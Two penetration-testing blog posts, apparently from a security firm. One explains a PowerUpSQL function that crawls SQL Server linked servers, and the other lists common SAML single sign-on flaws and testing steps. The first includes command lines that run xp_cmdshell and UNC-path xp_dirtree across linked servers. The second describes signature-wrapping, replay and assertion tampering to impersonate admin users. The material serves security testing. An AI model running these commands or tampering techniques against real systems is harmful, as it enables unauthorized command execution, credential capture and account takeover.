Back

SQL Server Link Crawling with PowerUpSQL

Quite a while ago I wrote a blog regarding SQL Server linked servers (https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) and a few Metasploit modules to exploit misconfigured links. Using the same techniques, I wrote a few functions for Scott Sutherland’s excellent PowerUpSQL toolkit to allow linked server enumeration after initial access to a SQL Server has been obtained.

An overview of linked servers has already been covered in my previous blog so I won’t regurgitate that information here. But in a nutshell, SQL Server allows creation of linked servers that provide access to other databases, sometimes with escalated privileges.

Linked Server Crawling

The new Get-SQLServerLinkCrawl function in PowerUpSQL can be used to crawl all accessible linked server paths and enumerate SQL Server version and the privileges that the links are configured with. To run Get-SQLServerLinkCrawl you will need to provide database instance information for the initial database connection and the credentials used for the connection. By default, it runs using integrated authentication, but alternative domain credentials and SQL Server credentials can be provided as well.

Console Output Example

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008"

 

Grid Output Example

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | Out-GridView

 

The results will include the instance, version information, the link user, the link user’s privileges on the linked server, the link path to the server, and links on each database instance. Linked servers that are not accessible are marked as broken links.
Img A F Eb E

Additionally, Get-SQLServerLinkCrawl allows arbitrary SQL query execution on all the linked servers using -Query parameter but more complex result sets cannot be displayed in a datatable so the results will need to expanded to make them readable. Xp_cmdshell (for command execution) and xp_dirtree (for UNC path injection) can be executed via -Query parameter too; the script will parse those a little to allow execution over openquery on linked servers:

Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_dirtree ‘10.2.3.4test’”

Another way to execute SQL queries on linked servers requires a little PowerShell piping:

Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | where Instance -ne "Broken Link" |
foreach-object { Get-SQLQuery -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' -Query (get-SQLServerLinkQuery -Path $_.Path -Sql 'select name from master..sysdatabases') }

 

Fancy Linked Server Graphs

Inspired by BloodHound, I figured it would be nice to create graphs to make it visually easier to understand the linked server crawl paths. To try graphing, install Neo4j and get it running. After that’s working, Get-SQLServerLinkCrawl results have to be exported to an XML file with Export-Clixml:

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:templinks.xml

 

The exported XML file will then be parsed into a node file and link file so they can be imported into neo4j database. The following script will create the import files and it does provide the required Cypher statements to create the graph. Obviously, all the file paths are hardcoded in PowerShell so those will have to be replaced if you run the script. And the last (optional) Cypher statements create a start node to indicate where the crawl started; the ServerId should be manually updated to point to the first SQL Server that was accessed.

$List = Import-CliXml 'C:templinks.xml'
$Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
    $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)"
    if($Server.Path.Count -ne 1){
        $Parentlink = $Server.Path[-2]
        foreach($a in $Servers){
            if(($a.Path[-1] -eq $Parentlink) -or ($a.Path -eq $Parentlink)){
                [string]$Parentname = $a.Name
                break
            }
        }
        $Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.Sysadmin)"
    }
}

$Outnodes | select -unique | out-file C:pathtoneo4jNeo4jdefault.graphdbImportnodes.txt
$Outpaths | select -unique | out-file C: pathtoneo4j default.graphdbImportlinks.txt

<#
 [OPTIONAL] Cypher to clear the neo4j database:
 MATCH (n)
 OPTIONAL MATCH (n)-[r]-()
 DELETE n,r
 --
 Cypher statement to create a neo4j graph - load nodes
 LOAD CSV FROM "file:///nodes.txt" AS row
 CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[2]});
 ---
 Cypher statement to create a neo4j graph - load links
 USING PERIODIC COMMIT
 LOAD CSV FROM "file:///links.txt" AS row
 MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: toInt(row[1])})
 CREATE (p1)-[:LINK {User: row[2], Sysadmin: row[3]}]->(p2);
 ---
 [OPTIONAL] Cypher statement to create a start node which indicates where the crawl started. This is not automated; first node id must be filled in manually (i.e. replace 12345678 with the first node's id).
 CREATE (:Start {Id: 1})

 [OPTIONAL] Link start node to the first server
 MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678})
 CREATE (p1)-[:START]->(p2);
#>

 

If everything works nicely, you can view a link network graph (using Neo4j Browser here):
Img A F Bbeda

Conclusion

Linked servers are pretty common in the environments we test and sometimes linked server networks contain hundreds of database servers. The goal of Get-SQLServerLinkCrawl it to provide an easy and automated way to help understand the extent of those networks. If you’ll try the function and run into any problems, please let us know on GitHub.

References:

Back

Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them

In this blog I’ll share some pointers that can be used when testing Single Sign-On (SSO) solutions that utilize SAML. The centralized nature of SSO provides a range of security benefits, but also makes SSO a high-profile target to attackers. The majority of SSO implementations I have seen in the past year pass SAML messages as part of the authentication process. There is nothing inherently wrong with this approach but a small misconfiguration in an SSO implementation can lead to some large vulnerabilities.

A Simplified Overview of SAML

Img A E Eb

A traditional application may implement authentication checks before allowing a user to access protected functions of the application. In the SSO model, the authentication functions are moved to an external Identity Provider (IP) application that performs authentication before allowing the user to access the protected functions in the Service Provider (SP) application. In order for the two applications to communicate with other, some messaging must pass through a user’s browser, which gives the user an opportunity to tamper with the message. One common flow is for the Identity Provider to return a SAML message to the browser, which forwards the message to the Service Provider.

SAML is a markup language implemented in XML. SAML messages are base64 encoded but that is easily decoded to view the message contents. In my experience, the two most common areas in SAML messages that are prone to tampering are signatures and assertions. The signature enforces the trust relationship between the IP and SP. The assertion instructs the SP on what trusted operations to perform, usually to allow you to access the application as a certain user.

Img A B

Common Implementation Mistakes & Testing Tips

  • Message Expiration: SAML messages should contain a timestamp of when the request was issued, when it expires or both. If the SAML message never expires or if the expiration is not honored, there is a greater risk of a message falling into the hands of an attacker. Check the message for timestamps, such as an IssueInstant or NotOnOrAfter assertion. Pause the request until after the expiration has passed and then allow the request through to the SP. Also make sure the expiration window is reasonable, like 1-5 minutes.
  • Message Replay: Assertions should contain a unique ID that is only accepted once by the application. Try replaying a SAML message to create multiple sessions.
    • Missing Signature: Messages without signatures can be freely edited to tamper with permissions on the SP application. Make sure a signature exists in the SAML and that the signature is required by the application. If there is one, try to resend the message without a signature.
    • Invalid Signature: Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
    • SAML from Different Recipient: An application should only accept a SAML message intended for the SP application. If the application does not perform this check, it may honor a SAML message generated from authenticating to another application and allow you into the application as the user from the other application. If you have a valid login for another application which uses the same IP, login to the other SP application and record the message. Replay the message intended for the other SP to your target SP.
    • Signature Wrapping: Some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions. The following are eight of the most common XML Signature Wrapping attacks. You can edit the original SAML file manually to perform these attacks but it is much quicker with the use of a tool. The short names (ex: XSW1) map to the names used in the SAML Raider tool, discussed below.
      • XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
      • XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
      • XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
      • XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion after the existing Assertion.
      • XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
      • XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
      • XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
      • XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
    • XML External Entity (XXE): A SAML message is just a user-provided XML message that is processed by the Service Provider. Be sure to check all standard XML attack vectors. XXE is a very common XML attack and I find it frequently through SAML messages.

Exploiting SAML Vulnerabilities

Some attacks, such as replaying expired messages or replaying messages for another application, will yield their own limited results. Most of the vulnerabilities described above allow an assertion to be tampered with, which requires one last step to fully exploit the discovered vulnerability. If you are able to tamper with a SAML message in such a way as to send your own assertions, try the following:

  • Change the expiration date on an expired message to make it valid again
  • Change the UserId to a different valid user – Bonus points if that user is an admin
  • Change the UserId to a different invalid user – Sometimes an application will grant default permissions or higher privileges to an unmapped user

SAML Raider

One very helpful tool for testing SAML is the SAML Raider extension for Burp Suite. It automatically highlights proxied requests containing SAML messages and adds a proxy tab with the decoded payload. SAML Raider also adds a pane to Repeater which allows you to quickly issue popular signature wrapping (XSW) attacks. Finally, SAML Raider adds a Certs tab which makes cloning certificates easy. You can either clone the certificate outright or create a self-signed version of the certificate.

Summary

SAML security is an often-overlooked area of SSO applications. Successful SAML attacks result in severe exploits such as replaying sessions and gaining unauthorized access to application functions. SAML attacks are varied but tools such as SAML Raider can help in detecting and exploiting common SAML issues. I hope that by using these techniques you can improve your detection and correction of SAML vulnerabilities in your applications.

References

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X